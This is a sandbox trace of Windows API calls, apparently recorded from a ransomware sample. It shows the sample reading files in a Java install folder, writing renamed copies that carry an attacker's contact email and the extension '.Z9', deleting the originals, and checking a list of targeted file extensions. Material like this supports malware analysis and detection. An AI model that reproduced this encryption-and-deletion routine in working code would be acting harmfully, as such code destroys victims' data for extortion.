	[0074.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0074.789] lstrlenW (lpString=".doc") returned 4
	[0074.789] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0074.789] lstrlenW (lpString=".docx") returned 5
	[0074.789] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0074.789] lstrlenW (lpString=".pdf") returned 4
	[0074.789] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0074.789] lstrlenW (lpString=".xls") returned 4
	[0074.789] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0074.789] lstrlenW (lpString=".xlsx") returned 5
	[0074.789] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0074.789] lstrlenW (lpString=".ppt") returned 4
	[0074.789] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0074.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0074.789] lstrlenW (lpString=".zip") returned 4
	[0074.789] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0074.789] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.789] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0074.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.101] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=153) returned 1
	[0075.101] CloseHandle (hObject=0x320) returned 1
	[0075.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20
	[0075.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.101] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.101] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.102] GetLastError () returned 0x0
	[0075.102] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x99, lpOverlapped=0x0) returned 1
	[0075.103] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xa0, lpOverlapped=0x0) returned 1
	[0075.103] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.103] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x106, lpOverlapped=0x0) returned 1
	[0075.104] SetEndOfFile (hFile=0x358) returned 1
	[0075.104] CloseHandle (hObject=0x358) returned 1
	[0075.105] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.105] SetEndOfFile (hFile=0x320) returned 1
	[0075.106] CloseHandle (hObject=0x320) returned 1
	[0075.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.106] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1
	[0075.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.106] lstrlenW (lpString=".doc") returned 4
	[0075.106] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.106] lstrlenW (lpString=".docx") returned 5
	[0075.106] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.106] lstrlenW (lpString=".pdf") returned 4
	[0075.106] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.106] lstrlenW (lpString=".xls") returned 4
	[0075.106] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.106] lstrlenW (lpString=".xlsx") returned 5
	[0075.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.107] lstrlenW (lpString=".ppt") returned 4
	[0075.107] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString=".zip") returned 4
	[0075.107] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString=".rar") returned 4
	[0075.107] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString=".bz2") returned 4
	[0075.107] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.107] lstrlenW (lpString=".7z") returned 3
	[0075.107] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString=".dbf") returned 4
	[0075.107] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString=".1cd") returned 4
	[0075.107] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString=".jpg") returned 4
	[0075.107] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.107] lstrlenW (lpString=".doc") returned 4
	[0075.107] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.107] lstrlenW (lpString=".docx") returned 5
	[0075.107] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.107] lstrlenW (lpString=".pdf") returned 4
	[0075.107] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString=".xls") returned 4
	[0075.107] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString=".xlsx") returned 5
	[0075.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.107] lstrlenW (lpString=".ppt") returned 4
	[0075.107] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.108] lstrlenW (lpString=".zip") returned 4
	[0075.108] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.108] lstrlenW (lpString=".rar") returned 4
	[0075.108] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.108] lstrlenW (lpString=".bz2") returned 4
	[0075.108] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.108] lstrlenW (lpString=".7z") returned 3
	[0075.108] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.108] lstrlenW (lpString=".dbf") returned 4
	[0075.108] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.108] lstrlenW (lpString=".1cd") returned 4
	[0075.108] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0075.108] lstrlenW (lpString=".jpg") returned 4
	[0075.108] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.108] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0075.108] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0075.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.108] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=153) returned 1
	[0075.108] CloseHandle (hObject=0x320) returned 1
	[0075.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20
	[0075.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.109] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.109] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.109] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.109] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.109] GetLastError () returned 0x0
	[0075.109] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x99, lpOverlapped=0x0) returned 1
	[0075.110] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xa0, lpOverlapped=0x0) returned 1
	[0075.111] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.111] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x106, lpOverlapped=0x0) returned 1
	[0075.111] SetEndOfFile (hFile=0x358) returned 1
	[0075.111] CloseHandle (hObject=0x358) returned 1
	[0075.112] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.112] SetEndOfFile (hFile=0x320) returned 1
	[0075.113] CloseHandle (hObject=0x320) returned 1
	[0075.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.113] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString=".doc") returned 4
	[0075.114] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.114] lstrlenW (lpString=".docx") returned 5
	[0075.114] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.114] lstrlenW (lpString=".pdf") returned 4
	[0075.114] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.114] lstrlenW (lpString=".xls") returned 4
	[0075.114] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.114] lstrlenW (lpString=".xlsx") returned 5
	[0075.114] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.114] lstrlenW (lpString=".ppt") returned 4
	[0075.114] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString=".zip") returned 4
	[0075.114] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.114] lstrlenW (lpString=".rar") returned 4
	[0075.114] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.114] lstrlenW (lpString=".bz2") returned 4
	[0075.114] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.114] lstrlenW (lpString=".7z") returned 3
	[0075.114] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString=".dbf") returned 4
	[0075.114] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString=".1cd") returned 4
	[0075.114] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.114] lstrlenW (lpString=".jpg") returned 4
	[0075.114] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString=".doc") returned 4
	[0075.115] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.115] lstrlenW (lpString=".docx") returned 5
	[0075.115] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.115] lstrlenW (lpString=".pdf") returned 4
	[0075.115] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString=".xls") returned 4
	[0075.115] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString=".xlsx") returned 5
	[0075.115] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.115] lstrlenW (lpString=".ppt") returned 4
	[0075.115] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString=".zip") returned 4
	[0075.115] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString=".rar") returned 4
	[0075.115] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.115] lstrlenW (lpString=".bz2") returned 4
	[0075.115] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.115] lstrlenW (lpString=".7z") returned 3
	[0075.115] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString=".dbf") returned 4
	[0075.115] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString=".1cd") returned 4
	[0075.115] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0075.115] lstrlenW (lpString=".jpg") returned 4
	[0075.115] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.116] lstrcmpiW (lpString1=".txt", lpString2=".Z9") returned -1
	[0075.116] lstrlenW (lpString="jvm.hprof.txt") returned 13
	[0075.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.116] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4226) returned 1
	[0075.116] CloseHandle (hObject=0x320) returned 1
	[0075.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20
	[0075.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.116] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.116] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.117] GetLastError () returned 0x0
	[0075.117] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1082, lpOverlapped=0x0) returned 1
	[0075.118] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1090, lpOverlapped=0x0) returned 1
	[0075.119] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.119] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xee, lpOverlapped=0x0) returned 1
	[0075.119] SetEndOfFile (hFile=0x358) returned 1
	[0075.120] CloseHandle (hObject=0x358) returned 1
	[0075.120] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.121] SetEndOfFile (hFile=0x320) returned 1
	[0075.121] CloseHandle (hObject=0x320) returned 1
	[0075.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.122] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.122] lstrlenW (lpString=".doc") returned 4
	[0075.122] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.122] lstrlenW (lpString=".docx") returned 5
	[0075.122] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0075.122] lstrlenW (lpString=".pdf") returned 4
	[0075.122] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.122] lstrlenW (lpString=".xls") returned 4
	[0075.122] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.122] lstrlenW (lpString=".xlsx") returned 5
	[0075.122] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0075.122] lstrlenW (lpString=".ppt") returned 4
	[0075.122] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.122] lstrlenW (lpString=".zip") returned 4
	[0075.122] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.122] lstrlenW (lpString=".rar") returned 4
	[0075.122] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString=".bz2") returned 4
	[0075.123] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString=".7z") returned 3
	[0075.123] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString=".dbf") returned 4
	[0075.123] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString=".1cd") returned 4
	[0075.123] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString=".jpg") returned 4
	[0075.123] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString=".doc") returned 4
	[0075.123] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString=".docx") returned 5
	[0075.123] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0075.123] lstrlenW (lpString=".pdf") returned 4
	[0075.123] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString=".xls") returned 4
	[0075.123] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.123] lstrlenW (lpString=".xlsx") returned 5
